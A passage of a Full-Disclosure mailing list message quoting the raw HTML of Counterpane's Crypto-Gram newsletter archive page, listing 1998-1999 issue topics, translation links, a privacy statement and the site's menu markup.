> <TD class="black-text">Security as process, ECHELON, export regulations 
> draft, GSM encryption</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9911.html">15&nbsp;Nov&nbsp;1999</a></TH>
> <TD class="black-text">Why computers are insecure, DVD encryption, Win CE, 
> Elliptic Curves</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9910.html">15&nbsp;Oct&nbsp;1999</a></TH>
> <TD class="black-text">Becoming a cryptographer, export rules, AMD, PKI 
> slogans, key length</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9909.html">15&nbsp;Sep&nbsp;1999</a></TH>
> <TD class="black-text">Open source, NSAKEY, CESA, E*Trade, factoring RSA</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9908.html">15&nbsp;Aug&nbsp;1999</a></TH>
> <TD class="black-text">Back Orifice 2000, AES news, HPUX, web-based encrypted 
> mail</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9907.html">15&nbsp;Jul&nbsp;1999</a></TH>
> <TD class="black-text">Future of crypto-hacking, bungled SSL, reader 
> comments</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9906.html">15&nbsp;Jun&nbsp;1999</a></TH>
> <TD class="black-text">E-mail viruses, hacking archives, international 
> encryption policy</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9905.html">15&nbsp;May&nbsp;1999</a></TH>
> <TD class="black-text">Internationalization of cryptography, export rules, 
> TWINKLE</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9904.html">15&nbsp;Apr&nbsp;1999</a></TH>
> <TD class="black-text">The importance of not being different, smart card 
> threats, attacking certificates with viruses</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9903.html">15&nbsp;Mar&nbsp;1999</a></TH>
> <TD class="black-text">Security hole in IE/Outlook and Office, AES news, 
> RSA-140 factored</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9902.html">15&nbsp;Feb&nbsp;1999</a></TH>
> <TD class="black-text">Snake oil, NSA and crypto export, WinXFiles, back 
> doors, Intel's processor ID</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9901.html">15&nbsp;Jan&nbsp;1999</a></TH>
> <TD class="black-text">1998 year-in-review, clueless agents, 
> Cayley-Purser</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9812.html">15&nbsp;Dec&nbsp;1998</a></TH>
> <TD class="black-text">Cracking contests, recognizing plaintext, zip disks, 
> Commerce Dept. committee</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9811.html">15&nbsp;Nov&nbsp;1998</a></TH>
> <TD class="black-text">Electronic commerce, micro locks, copy protection, 
> more on steganography</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9810.html">15&nbsp;Oct&nbsp;1998</a></TH>
> <TD class="black-text">Steganography, TriStrata, Rapid Remote, memo to 
> amateur cipher designers</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9809.html">15&nbsp;Sep&nbsp;1998</a></TH>
> <TD class="black-text">Cramer-Shoup, impossible cryptanalysis, street 
> performer, Private Doorbell</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9808.html">15&nbsp;Aug&nbsp;1998</a></TH>
> <TD><P class="black-text">Hardware DES cracker, KEA, chosen protocol attack, 
> biometrics</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9807.html">15&nbsp;Jul&nbsp;1998</a></TH>
> <TD class="black-text">Breaking RSA, declassifying Skipjack, secure audit 
> logs, WIPO</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9806.html">15&nbsp;Jun&nbsp;1998</a></TH>
> <TD class="black-text">Side channel attacks, risks of key escrow, 
> pseudo-random number generators</TD>
> </TR>
> <TR class="black-text">
> <TH align=left valign=top class="black-bold-text"><a 
> href="crypto-gram-9805.html">15&nbsp;May&nbsp;1998</a></TH>
> <TD class="black-text">AES, secret story of non-secret encryption, 
> conditional purchase orders</TD>
> </TR>
> <TR><TD colspan=2>
> 
> <P class="black-text"><BR><STRONG class="black-bold-text"><a 
> name="trans">Translations</a></STRONG>
> <BR>Kript&oacute;polis translates Crypto-Gram into <a 
> href="http://www.kriptopolis.com/index.php?id=C0_12_1";>Spanish</a>.  <a 
> href="http://www.communicationvalley.it/crypto-gram.html";>Italian</a> 
> translations, by Communication Valley S.P.A., are available on the web or as 
> a mailing list.  Holger Hasselbach has translated several issues of 
> Crypto-Gram into <a href="http://www.galad.com/extras/cg/cg.htm";>German</a>, 
> and Fernandes Gilbert has translated some issues into <a 
> href="http://perso.wanadoo.fr/gilbert.fernandes/cryptogram.html";>French</a>.  
> 
> <P class="black-text"><STRONG class="black-bold-text"><a 
> name="privacy">Privacy Statement</a></STRONG>
> <BR>Counterpane Internet Security, Inc. and Counterpane Labs will not use the 
> Crypto-Gram mailing list for any other purpose than e-mailing Crypto-Gram.  
> We will not use the mailing list for company marketing, nor will we sell the 
> list to any third parties.
> 
> </TD></TR>
> </TABLE>
> 
> 
> 
> 
> 
> 
> 
>                   </td>
>                   <td width="10">&nbsp;</td>
>                 </tr>
>                 <!---- articles -------------------------> 
>               </table>
>    <img src="images/clear.gif" alt="" border="0" width="1" height="21"><br>
>               <a href="#" onclick="scrollTo(0,0)"><img 
> src="images/back_to_top.gif" alt="TOP" border="0" width="27" 
> height="9"></a></td>
>   <td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" 
> width="1" height="1"></td>
>  </tr>
>  </table>
>  <table cellpadding="0" cellspacing="0" border="0" width="404">
>   <tr><td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" 
> width="404" height="1"></td></tr>
>   <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="17"></td></tr>
>   <tr><td bgcolor="#cccccc"><img src="images/clear.gif" alt="" border="0" 
> width="404" height="1"></td></tr>
>   <tr><td class="black-text">Copyright Counterpane Internet Security, Inc., 
> 2003<BR>
> <a href="permiss.html">Reprint Permission</a></td></tr>
>   <tr><td><img src="images/clear.gif" alt="" border="0" width="1" 
> height="50"></td></tr>
>  </table>
> 
> <!-------end of middle column------------------->
> </td>
> 
>   </tr>
> </table>
> 
> <!-------end of global table------------------->
> 
> 
> 
> 
> 
> 
> 
> <!-- dropdown menus -->
> 
> <div id="menuContact" onMouseOver="menuOn('menuContact')" 
> onMouseOut="overChecker('menuContact')">
> <script language="JavaScript">
>  function onMouseOver() { menuOn('menuContact');}
>  function onMouseOut() { overChecker('menuContact')}
> </script>
>   <a href="cis-contact.html" 
> onmouseover="rollOn('contactnav_5_contact','menuContact')" 
> onmouseout="rollOff('contactnav_5_contact','menuContact')"><img 
> src="images/contactnav_5_contact.gif" alt="Contact" width=179 height=22 
> border="0" name="contactnav_5_contact"></a></div>
> 
> <div id="menuSite" onMouseOver="menuOn('menuSite')" 
> onMouseOut="overChecker('menuSite')">
> <script language="JavaScript">
>  function onMouseOver() { menuOn('menuSite');}
>  function onMouseOut() { overChecker('menuSite')}
> </script>
>   <a href="index.html" onmouseover="rollOn('sitenav_r_home','menuSite')" 
> onmouseout="rollOff('sitenav_r_home','menuSite')"><img 
> src="images/sitenav_r_home.gif" alt="Home" width=179 height=18 border="0" 
> name="sitenav_r_home"></a><br>
>   <a href="sitemap.html" onmouseover="rollOn('sitenav_r_sitemap','menuSite')" 
> onmouseout="rollOff('sitenav_r_sitemap','menuSite')"><img 
> src="images/sitenav_r_sitemap.gif" alt="Site Map" width=179 height=18 
> border="0" name="sitenav_r_sitemap"></a><br>
>   <a href="cissearch.html" 
> onmouseover="rollOn('sitenav_r_search','menuSite')" 
> onmouseout="rollOff('sitenav_r_search','menuSite')"><img 
> src="images/sitenav_r_search.gif" alt="Search" width=179 height=18 border="0" 
> name="sitenav_r_search"></a><br>
>   <a href="https://www.counterpane.com/ccrp/"; 
> onmouseover="rollOn('sitenav_r_var','menuSite')" 
> onmouseout="rollOff('sitenav_r_var','menuSite')"><img 
> src="images/sitenav_r_var.gif" alt="VAR-only site" width=179 height=22 
> border="0" name="sitenav_r_var"></a></div>
> 
> <div id="menuLibrary" onMouseOver="menuOn('menuLibrary')" 
> onMouseOut="overChecker('menuLibrary')">
> <script language="JavaScript">
>  function onMouseOver() { menuOn('menuLibrary');}
>  function onMouseOut() { overChecker('menuLibrary')}
> </script>
>   <a href="literature.html" 
> onmouseover="rollOn('librarynav_2_literature','menuLibrary')" 
> onmouseout="rollOff('librarynav_2_literature','menuLibrary')"><img 
> src="images/librarynav_2_literature.gif" alt="Counterpane Literature" 
> width=179 height=18 border="0" name="librarynav_2_literature"></a><br>
>   <a href="log-analysis.html" 
> onmouseover="rollOn('librarynav_2_log','menuLibrary')" 
> onmouseout="rollOff('librarynav_2_log','menuLibrary')"><img 
> src="images/librarynav_2_log.gif" alt="Log Analysis Resources" width=179 
> height=18 border="0" name="librarynav_2_log"></a><br>
>   <a href="publish.html" 
> onmouseover="rollOn('librarynav_2_labs','menuLibrary')" 
> onmouseout="rollOff('librarynav_2_labs','menuLibrary')"><img 
> src="images/librarynav_2_labs.gif" alt="Counterpane Labs Publications" 
> width=179 height=18 border="0" name="librarynav_2_labs"></a><br>
>   <a href="crypto-gram.html" 
> onmouseover="rollOn('librarynav_r_crypto','menuLibrary')" 
> onmouseout="rollOff('librarynav_r_crypto','menuLibrary')"><img 
> src="images/librarynav_r_crypto.gif" alt="Crypto-Gram" width=179 height=18 
> border="0" name="librarynav_r_crypto"></a><br>
>   <a href="book-beyondfear.html" 
> onmouseover="rollOn('librarynav_4_beyond_fear','menuLibrary')" 
> onmouseout="rollOff('librarynav_4_beyond_fear','menuLibrary')"><img 
> src="images/librarynav_4_beyond_fear.gif" alt="Beyond Fear" width=179 
> height=18 border="0" name="librarynav_4_beyond_fear"></a><br>
>   <a href="sandl.html" 
> onmouseover="rollOn('librarynav_r_sandl','menuLibrary')" 
> onmouseout="rollOff('librarynav_r_sandl','menuLibrary')"><img 
> src="images/librarynav_r_sandl.gif" alt="Secrets and Lies" width=179 
> height=22 border="0" name="librarynav_r_sandl"></a>
>   </div>
>   
> <div id="menuNews" onMouseOver="menuOn('menuNews')" 
> onMouseOut="overChecker('menuNews')">
> <script language="JavaScript">
>  function onMouseOver() { menuOn('menuNews');}
>  function onMouseOut() { overChecker('menuNews')}
> </script>
>   <a href="cisnews.html" onmouseover="rollOn('newsnav_2_clip','menuNews')" 
> onmouseout="rollOff('newsnav_2_clip','menuNews')"><img 
> src="images/newsnav_2_clip.gif" alt="Press Clippings" width=179 height=18 
> border="0" name="newsnav_2_clip"></a><br>
>   <a href="pressrel.html" 
> onmouseover="rollOn('newsnav_2_release','menuNews')" 
> onmouseout="rollOff('newsnav_2_release','menuNews')"><img 
> src="images/newsnav_2_release.gif" alt="Press Releases" width=179 height=18 
> border="0" name="newsnav_2_release"></a><br>
>   <a href="analyst.html" onmouseover="rollOn('newsnav_2_analyst','menuNews')" 
> onmouseout="rollOff('newsnav_2_analyst','menuNews')"><img 
> src="images/newsnav_2_analyst.gif" alt="Analyst Comments" width=179 height=18 
> border="0" name="newsnav_2_analyst"></a><br>  
>   <a href="alerts.html" onmouseover="rollOn('newsnav_2_alerts','menuNews')" 
> onmouseout="rollOff('newsnav_2_alerts','menuNews')"><img 
> src="images/newsnav_2_alerts.gif" alt="Alerts" width=179 height=18 border="0" 
> name="newsnav_2_alerts"></a><br>
>   <a href="conf.html" onmouseover="rollOn('newsnav_2_calendar','menuNews')" 
> onmouseout="rollOff('newsnav_2_calendar','menuNews')"><img 
> src="images/newsnav_2_calendar.gif" alt="Calendar" width=179 height=22 
> border="0" name="newsnav_2_calendar"></a></div>
> 
> <div id="menuCustomers" onMouseOver="menuOn('menuCustomers')" 
> onMouseOut="overChecker('menuCustomers')">
> <script language="JavaScript">
>  function onMouseOver() { menuOn('menuCustomers');}
>  function onMouseOut() { overChecker('menuCustomers')}
> </script>
>   <a href="customers.html" 
> onmouseover="rollOn('customersnav_5_customers','menuCustomers')" 
> onmouseout="rollOff('newsnav_5_customers','menuCustomers')"><img 
> src="images/customersnav_5_customers.gif" alt="Customers" width=179 height=22 
> border="0" name="customersnav_5_customers"></a></div>
> 
> <div id="menuServices" onMouseOver="menuOn('menuServices')" 
> onMouseOut="overChecker('menuServices')">
> <script language="JavaScript">
>  function onMouseOver() { menuOn('menuServices');}
>  function onMouseOut() { overChecker('menuServices')}
> </script>
>   <a href="overview.html" 
> onmouseover="rollOn('servicesnav_4_suite','menuServices')" 
> onmouseout="rollOff('servicesnav_4_suite','menuServices')"><img 
> src="images/servicesnav_4_suite.gif" alt="Enterprise Protection Suite" 
> width=179 height=18 border="0" name="servicesnav_4_suite"></a><br>
>   <a href="services-msm.html" 
> onmouseover="rollOn('servicesnav_4_msm','menuServices')" 
> onmouseout="rollOff('servicesnav_4_msm','menuServices')"><img 
> src="images/servicesnav_4_msm.gif" alt="Managed Security Monitoring" 
> width=179 height=18 border="0" name="servicesnav_4_msm"></a><br>
>   <a href="response.html" 
> onmouseover="rollOn('servicesnav_4_response','menuServices')" 
> onmouseout="rollOff('servicesnav_4_response','menuServices')"><img 
> src="images/servicesnav_4_response.gif" alt="Active Response" width=179 
> height=18 border="0" name="servicesnav_4_response"></a><br>
>   <a href="device.html" 
> onmouseover="rollOn('servicesnav_4_device','menuServices')" 
> onmouseout="rollOff('servicesnav_4_device','menuServices')"><img 
> src="images/servicesnav_4_device.gif" alt="Device Management" width=179 
> height=18 border="0" name="servicesnav_4_device"></a><br>
>   <a href="scanning.html" 
> onmouseover="rollOn('servicesnav_4_scanning','menuServices')" 
> onmouseout="rollOff('servicesnav_4_scanning','menuServices')"><img 
> src="images/servicesnav_4_scanning.gif" alt="Managed Vulnerability Scanning" 
> width=179 height=18 border="0" name="servicesnav_4_scanning"></a><br>
>   <a href="consulting.html" 
> onmouseover="rollOn('servicesnav_5_consulting','menuServices')" 
> onmouseout="rollOff('servicesnav_5_consulting','menuServices')"><img 
> src="images/servicesnav_5_consulting.gif" alt="Security Consulting" width=179 
> height=18 border="0" name="servicesnav_5_consulting"></a><br>
>   <a href="labs.html" 
> onmouseover="rollOn('servicesnav_5_labs','menuServices')" 
> onmouseout="rollOff('servicesnav_5_labs','menuServices')"><img 
> src="images/servicesnav_5_labs.gif" alt="Counterpane Labs" width=179 
> height=22 border="0" name="servicesnav_5_labs"></a></div>
> 
>   <div id="menuCompany" onMouseOver="menuOn('menuCompany')" 
> onMouseOut="overChecker('menuCompany')">
> <script language="JavaScript">
>  function onMouseOver() { menuOn('menuCompany');}
>  function onMouseOut() { overChecker('menuCompany')}
> </script>
>   <a href="background.html" 
> onmouseover="rollOn('companynav_4_background','menuCompany')" 
> onmouseout="rollOff('companynav_4_background','menuCompany')"><img 
> src="images/companynav_4_background.gif" alt="Background" width=179 height=18 
> border="0" name="companynav_4_background"></a><br>
>   <a href="team.html" onmouseover="rollOn('companynav_5_team','menuCompany')" 
> onmouseout="rollOff('companynav_5_team','menuCompany')"><img 
> src="images/companynav_5_team.gif" alt="Our Team" width=179 height=18 
> border="0" name="companynav_5_team"></a><br>
>   <a href="jobs.html" 
> onmouseover="rollOn('companynav_4_careers','menuCompany')" 
> onmouseout="rollOff('companynav_4_careers','menuCompany')"><img 
> src="images/companynav_4_careers.gif" alt="Careers" width=179 height=18 
> border="0" name="companynav_4_careers"></a><br>
>   <a href="investors.html" 
> onmouseover="rollOn('companynav_4_investors','menuCompany')" 
> onmouseout="rollOff('companynav_4_investors','menuCompany')"><img 
> src="images/companynav_4_investors.gif" alt="Investors" width=179 height=18 
> border="0" name="companynav_4_investors"></a><br>
>   <a href="partners.html" 
> onmouseover="rollOn('companynav_5_partners','menuCompany')" 
> onmouseout="rollOff('companynav_5_partners','menuCompany')"><img 
> src="images/companynav_5_partners.gif" alt="Partners" width=179 height=22 
> border="0" name="companynav_5_partners"></a></div>
> <!-- end of dropdown menus -->
> 
> 
> 
> 
> 
> </body>
> </html>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html